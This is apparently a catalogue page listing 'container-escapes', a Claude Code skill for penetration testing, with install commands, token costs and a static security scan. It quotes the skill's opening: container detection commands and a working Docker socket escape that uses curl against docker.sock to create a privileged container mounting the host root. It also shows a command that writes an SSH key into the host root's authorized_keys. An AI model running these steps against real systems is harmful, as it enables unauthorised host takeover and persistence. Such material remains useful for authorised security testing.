container-escapes

container-escapes is a skill for Claude Code from allsmog/blackbox-claude-plugin. It costs 58 tokens per session (2,588 once invoked), scanned C, original, MIT.

A security-testing guide for checking whether a Docker, LXC/LXD, or Kubernetes container can be used to reach its host system.

In plain words
What is it for?
Use it to detect container environments and examine Docker sockets, privileged settings, and Linux capabilities during authorized security assessments.
Why use it?
It helps identify container boundaries and exposed interfaces that may allow access beyond the container.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Use it to detect container environments and examine Docker sockets, privileged settings, and Linux capabilities during authorized security assessments.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/allsmog/blackbox-claude-plugin/container-escapes
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add allsmog/blackbox-claude-plugin --skill container-escapes
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for container-escapes

README.md
[![agentmods](https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/container-escapes/github.svg)](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/container-escapes)
Your own site
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/container-escapes"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/container-escapes/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for container-escapes

Your own site · 80×15
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/container-escapes"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/container-escapes.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 58 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,588 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00058 $0.02588
Opus 5 $0.00029 $0.01294
Sonnet 5 $0.00012 $0.00518
Haiku 4.5 $0.00006 $0.00259

Measured 9d ago against content hash 7ad2b37cfa0c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade C, and why

container-escapes scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

sh -c 'echo "YOUR_SSH_KEY" >> /host/root/.ssh/authorized_keys'

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s --unix-socket /var/run/docker.sock http://localhost/version
blackbox-htb/skills/container-escapes/SKILL.md · 349 lines

How it starts

The opening of the file, as written. The whole thing — 349 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Escape Techniques

Overview

When you gain access inside a container, escaping to the host is often the path to root. This skill covers detection methods and escape techniques for various container environments.

Container Detection

Am I in a Container?

# Check for .dockerenv file
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep -E "docker|lxc|kubepods"

# Check for container-specific environment
env | grep -i docker
env | grep -i kubernetes

# Hostname often reveals container ID
hostname
# Docker containers often have 12-char hex hostnames like "821fbd6a43fa"

# Check mount points
mount | grep -E "overlay|aufs"

# Check for limited process list
ps aux | wc -l
# Containers typically have very few processes

Container Type Detection

# Docker
cat /proc/1/cgroup | grep docker
ls /.dockerenv

# LXC/LXD
cat /proc/1/cgroup | grep lxc
ls /dev/lxd

# Kubernetes
ls /var/run/secrets/kubernetes.io
env | grep KUBERNETES

# Podman
cat /proc/1/cgroup | grep libpod

Docker Socket Escape

Detection

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

# Test access
curl -s --unix-socket /var/run/docker.sock http://localhost/version

Exploitation

# List containers
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | jq

# Create privileged container with host filesystem
curl -s -X POST --unix-socket /var/run/docker.sock \
    -H "Content-Type: application/json" \
    http://localhost/containers/create \
    -d '{
        "Image": "alpine",
        "Cmd": ["/bin/sh"],
        "HostConfig": {
            "Binds": ["/:/host"],
            "Privileged": true
        }
    }'

# Start container (use ID from previous response)
curl -s -X POST --unix-socket /var/run/docker.sock \
    http://localhost/containers/<CONTAINER_ID>/start

# Run command in container
curl -s -X POST --unix-socket /var/run/docker.sock \
    -H "Content-Type: application/json" \
    http://localhost/containers/<CONTAINER_ID>/attach?stream=1&stdin=1&stdout=1&stderr=1

Read the full file on GitHub · 349 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 349 lines · 58 tokens per session scan C 7ad2b37cfa0c

Subscribe to this mod's changes

container-escapes is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 58 tokens to every session and 2,588 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

cloudflare-sandbox

Cloudflare Sandboxes SDK for secure code execution in Linux containers at edge. Use for untrusted code, Python/Node.js scripts, AI code interpreters, git operations.

secondsky/claude-skills · 40 tokens

container-execution

Infrastructure skill for containerized target execution. Runtime detection, container lifecycle, security restrictions, interaction patterns.

prime-radiant-inc/greenfield · 24 tokens

platform-skills

Use when troubleshooting, implementing, reviewing, or auditing platform infrastructure as a system — where Kubernetes, GitOps, CI/CD, and security concerns intersect. Provides structured diagnosis with blast radius, validation steps, and rollback plan for: Kubernetes, Flux CD, Argo CD, Terraform, GitHub Actions…

nitinjain999/platform-skills · 137 tokens

infrastructure-validation

Use when working with Terraform (.tf, .tfvars), Ansible (playbooks, roles, inventory), Docker (Dockerfile, docker-compose.yml), Kubernetes (manifests, Helm charts), CloudFormation, or any infrastructure-as-code files. Also use when running terraform plan/apply, building Docker images, writing Helm templates, or when…

lgbarn/shipyard · 98 tokens

k8s-webhook-abuse

A guide to assessing Kubernetes admission webhooks and policy engines. These components inspect or modify requests before Kubernetes accepts them; examples include Kyverno, OPA Gatekeeper, and custom webhooks.

wgpsec/AboutSecurity · 102 tokens

companion-clis

Companion CLIs for Runpod workflows — HuggingFace, GitHub, Docker, and AWS.

gaelic-ghost/socket · 26 tokens